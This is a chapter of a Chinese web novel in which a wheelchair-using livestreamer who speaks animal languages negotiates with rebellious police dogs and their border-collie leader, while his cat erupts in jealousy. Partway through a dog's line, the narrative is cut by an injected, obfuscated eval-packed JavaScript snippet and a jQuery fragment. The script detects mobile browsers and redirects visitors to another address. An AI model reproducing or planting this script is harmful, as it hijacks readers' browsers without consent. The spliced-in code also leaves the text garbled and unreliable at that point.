16. 直播第十六天

作品:《人好!喵喵委托,接吗!

    煤球突然蹿上轮椅靠背,爪钩勾着金属支架发出刺耳摩擦声。


    三色交织尾巴烦躁地拍打陆琰舟后颈,却小心避开了裸露的皮肤。


    “喵嗷嗷嗷——!!”


    [吵死了!一群只知道听命的家伙!懂什么野外探索救助!]


    陆琰舟扭头,眼神犀利地瞪向煤球,压低声音警告道:“那是警犬!是城市的英雄!别在这儿胡说八道!”


    煤球哼了一声,尾巴不耐烦地甩了甩,脑袋扭向一边,露出的半张小脸上写满了不满。


    “陆琰舟,接麦。”


    方叙白的话音刚落,电话被挂断了。


    直播间里,“爱猫大侠”的连麦申请跳了出来。


    陆琰舟立刻掐断了与美美的连麦,转而接通了“爱猫大侠”的连线。


    画面一闪,方叙白的脸出现在屏幕上。


    他此刻正站在青峰山溶洞外,背景中传来此起彼伏的犬吠声和训导员的怒喝:


    “闪电,坐下!爱德森,你要去哪儿!回来!”


    “该死的,怎么突然都乱了!”


    “陆琰舟。”方叙白的声音带着明显的怨气,“给我解释一下,他们怎么了?”


    “方叙白!”陆琰舟没有直接回答,反而急切地说道,“你把镜头转过去,让我看看现场!”


    几只警犬焦躁不安地来回踱步,有的甚至试图挣脱训导员的控制,朝着溶洞方向狂吠不止。


    它们的耳朵竖得笔直,尾巴紧绷,眼神中透出一种难以言喻的警觉和不安。


    远处,更多的狗狗正聚在一处,齐刷刷地望向被夜色笼罩的山峦。


    它们的身体微微前倾,爪子深深地抓进地面,喉咙里发出低沉的呜呜声。


    夜色中,山影如同一头巨兽匍匐在地,溶洞的入口隐约可见,像一张漆黑的巨口,散发着令人不安的气息。


    几只德牧不知何时已经凑到了山脚下,前爪刚犹豫着踏进那片黑暗之中,就被不知从哪儿来的犬吠吼叫着缩了回去。


    这样的画面,不管从哪个角度来看,都透着股浓浓的诡异。


    就好像,来到这儿的,不是训练有素、完美毕业的优秀警犬,而是一批初入社会的愣头青,甚至——


    杂牌军。


    直播间的观众也似乎从未见过这种阵仗,弹幕瞬间炸开了锅:


    【好训练有素的狗狗们!不愧是警犬!】


    【有他们在,美美和她妈咪应该不会有事吧?】


    【不对劲啊,警犬都是训练有素的,怎么会突然变成这个状态?是不是出了什么事?】


    陆琰舟眉头紧锁,这不该是一批能出现在危险现场的警犬该有的样子。


    “方叙白,警犬队没人了?”他忍不住问向方叙白。


    方叙白的脸黑的厉害。


    事实上,因为报警是被直播的,他带出来的警犬是警队中最拔尖的一批!


    但他怎么也没想到,还是会忽然出现了这样的问题。


    “事实上,这是我们最好的警犬。但这山里似乎有什么东西在威胁他们。”他干巴巴的说道,“我们听不懂兽语,想请你来解决问题。”


    “小董就在楼下,等你过来再说吧。”


    直播间的评论区瞬间一片哗然。


    【天呐!主播这是被警方认可了吗!好厉害!】


    【想不认也难吧?不是才刚帮忙破个案子?】


    【也有可能是压力迫使?很难说哦,等等看后面的情况吧。】


    陆琰舟的眉头突突直跳。


    他心里隐隐生气一丝浅浅的不安。


    就好似有什么事情就要发生了一样。


    但眼下时间紧张,他顾不上去思考这股不安的原有,甚至都来不及多看评论区一眼,只点点头,将此事应下,然后立刻取下镜头,又转动轮椅的轮毂来到门口,随手拿起一个挎包往腿上一放,推门出去。


    小董果然等在了门口,见他出现,赶紧迎了上去,将他连人带轮椅弄上了车。


    “陆哥。”小董亲亲热热的喊道,“方队喊的,我现在立刻带你过去。”


    陆琰舟点点头:“麻烦了。”


    他说完,将镜头重新架起来,再次认真的观察起来。


    警犬们虽然分散,但俨然分成两批。


    一批很明显在忌惮训导员们,看向训导员和警察的眼神


    另一批却是一脸的无畏,死死地盯着山的方向,一副视死如归的神情。


    但相同的是,每只狗似乎都已经下定了决心,要进山!


    陆琰舟吸了口气,他几乎可以肯定,这些狗狗之中,一定有个类似于“老大”的存在。


    只有这样的狗,才能让他们齐心协力去做一件事!


    不行!


    陆琰舟忽然攥紧了拳头。


    无论如何,不能让警犬的形象被毁了!


    他必须立刻将这个老大找出来!


    他吸了口气,用汪星语道:“你们管事的是谁?我要见你们管事的。”


    陆琰舟的声音透过智脑传出,原本躁动不安的警犬群突然安静下来。所有的狗耳朵都竖了起来,齐刷刷地转向镜头方向。


    一只体型硕大的德国牧羊犬从狗群中缓步走出,它的眼神锐利如刀,步伐稳健有力。


    它走到镜头前,仰起头,发出一声低沉的吼叫:"汪!汪汪!"


    [你和我谈。]


    陆琰舟眯起了眼睛:“你能代表这个躁动的狗狗群?”


    德牧打了个响鼻,头往旁边一侧,眼里满是不屑与嘲弄:“汪!汪汪!”


    [不能。但如果你连我的关卡都过不去,我凭什么放你去见老大!]


    陆琰舟瞳孔一缩,怒气忽然腾起:“你是警犬!你在外面认老大的事,你的训导员知道吗?”


    德牧毛茸茸的脑袋点了一下:“汪!汪汪!汪汪汪!”


    [不知道!然后呢?狗找一条狗当老大,影响我工作了吗?]


    陆琰舟被气笑了。


    不影响吗?


    它要不要看看它在做什么?


    不仅仅是他,还有其他和他一模一样的警犬!


    他们到底在做什么!


    在这座山上,就好像,一个训练有素的士兵突然集体哗变,整齐划一地举起反旗。


    不听训导员的安排,对一座黑乎乎的山,发出警告的声音!


    陆琰舟深吸一口气,胸口微微起伏,手指不自觉地点着身下的座椅扶手。


    他直直盯着为首的德牧,声音低沉而带着一丝压抑的怒意,汪汪道,“告诉我!你们老大在哪儿!我现在就要见它!”


    警犬群瞬间一阵骚动,犬吠声此起彼伏,瞬间传出好远。


    德牧脑袋“唰”地耷拉下来,尾巴紧紧夹在腿间,嘴套被扯得咧开,锋利犬牙寒光一闪,旋即发出凶狠的低吼声:“呜——汪——!”


    [你算什么东西!凭什么你说见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101937|163736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就能见!]


    “就凭我和抓美美的人是同类,就凭他们给我发了消息,就凭只有我能保证美美的安全!”


    陆琰舟垂下眼帘,接连的三声“汪——”,一声比一声掷地有声。


    每一声都伴随着轮椅扶手被攥紧的吱呀声,指节因用力而发白。


    警犬的骚动瞬间被禁止了,所有狗狗都不约而同地看向镜头,神色严峻肃穆,每一双眼里都闪着审视的光。


    不一会儿,一只威风凛凛的边牧从狗群中缓步走出。它的步伐稳健而有力,每一步都带着不容忽视的气势。


    夜风轻拂,吹动它厚实的毛发,掀起层层白色的“浪花”。


    它在方叙白面前站定,头颅高高扬起,眼神中透着一股居高临下的傲然。


    右前爪刨了刨脚下的泥地,将其刨出一个浅浅的坑。


    被带出的泥土飞溅,在方叙白的裤腿上留下几点污渍。


    它低吼一声:“汪——!”


    [把镜头给我。]


    方叙白完全听不懂边牧的意思,他神色阴沉的看着面前的边牧,牙齿咬住内唇,握着镜头的手青筋暴起。


    警犬对犬种有着极其严苛的选择,而边牧从来不在其中。


    这只狗,究竟是怎么混进来的?还混成了这一片的,老大?


    “把镜头对准它。”陆琰舟的声音从镜头那边传了过来,“我来和他谈。”


    方叙白纹丝不动,他眉头紧锁的看着面前毫不畏惧的边牧,眼神一点点冷了下去。


    看来,这一批训导员里,该有人被“提干”了。


    边牧却完全不在意方叙白那难看至极的脸色,缓缓抬起前爪——蒲扇般大的爪子猛然一挥,重重的拍在镜头上。


    “汪!”


    [就是你要见我?]


    陆琰舟愣住了,瞳孔微微收缩,目光死死盯着边牧的脸,心跳加速,呼吸急促。


    那张脸,竟然和美美一模一样!


    “撕拉——”一声轻微的拉链响动声响起,打破了短暂的沉寂。


    煤球悄咪咪地从陆琰舟的包里探出一个圆滚滚的脑袋,黑亮的眼睛滴溜溜地转着,警惕又好奇地打量着四周。


    粉色的鼻头微微抽动,胡须警惕地向前探出,却在发现众人目光时立刻缩回半个脑袋。


    它挪了挪身体,靠在陆琰舟的背后,小心翼翼地往镜头里看去——


    下一秒,煤球的乌沉沉的大眼睛瞬间变得通红,瞳孔紧缩成一条细线,浑身的毛都炸了起来,像颗蓬松的黑白毛球。


    它猛地从背包里一跃而起,像一颗黑色的炮弹,直扑向镜头——


    “喵嗷嗷——!!!”


    [气煞本喵——!!!]


    煤球的叫声尖锐而高亢,仿佛被染上了一股无法遏制的怒火,爪垫间渗出细密汗珠,在镜头前划出几道凌乱的水痕。


    陆琰舟眼疾手快,一把将煤球拽回胸前,手臂紧紧箍住它那娇小的身躯,厉声喵道:“煤球!别闹!”


    身体在他怀里拼命挣扎,四条腿在空中胡乱挥舞,爪子锋利如钩,仿佛要将空气都撕裂。


    被按住的后腿还在不停蹬踹,尾巴像鞭子一样抽打着陆琰舟的手臂,却始终控制着力道没有伸出利爪。


    它的脖子抻得老长,脑袋拼命往前探,乌黑的眼睛死死盯着边牧,嘴里不停地发出愤怒的咆哮:“喵嗷嗷嗷——!”


    [狗东西!凭什么是你混上了铁饭碗!]